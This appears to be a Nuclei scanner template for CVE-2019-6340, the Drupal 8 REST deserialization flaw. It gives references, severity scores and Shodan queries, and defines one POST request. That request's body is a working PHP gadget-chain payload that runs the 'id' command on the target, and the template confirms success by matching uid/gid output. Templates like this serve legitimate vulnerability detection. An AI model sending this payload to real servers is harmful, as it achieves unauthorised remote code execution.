Drupal - Remote Code Execution

id: CVE-2019-6340

info:
  name: Drupal - Remote Code Execution
  author: madrobot
  severity: high
  description: Drupal 8.5.x before 8.5.11 and Drupal 8.6.x before 8.6.10 V contain certain field types that do not properly sanitize data from non-form sources, which can lead to arbitrary PHP code execution in some cases.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected Drupal site.
  remediation: |
    Apply the official security patch provided by Drupal to fix the deserialization vulnerability.
  reference:
    - https://www.drupal.org/sa-core-2019-003
    - https://www.synology.com/security/advisory/Synology_SA_19_09
    - https://nvd.nist.gov/vuln/detail/CVE-2019-6340
    - https://www.exploit-db.com/exploits/46452/
    - https://github.com/CVEDB/PoC-List
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2019-6340
    cwe-id: CWE-502
    epss-score: 0.92017
    epss-percentile: 0.99809
    cpe: cpe:2.3:a:drupal:drupal:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: drupal
    product: drupal
    shodan-query:
      - http.component:"drupal"
      - cpe:"cpe:2.3:a:drupal:drupal"
  tags: cve,cve2019,drupal,rce,kev,vkev,vuln

http:
  - method: POST
    path:
      - '{{BaseURL}}/node/1?_format=hal_json'

    body: '{ "link": [ { "value": "link", "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:2:\"id\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}" } ], "_links": { "type": { "href": "http://192.168.1.25/drupal-8.6.9/rest/type/shortcut/default" } } }'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "uid="
          - "gid="
          - "groups="
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022045be107f69feaefb9e7678f414dd74469a0a5076f2ba38aa455d81ddcd121679022100d0f3eedf815b038eab2ffda183b70c2fdf47c14a01995d3884c8dc77f4e32138:922c64590222798bb761d5b6d8e72950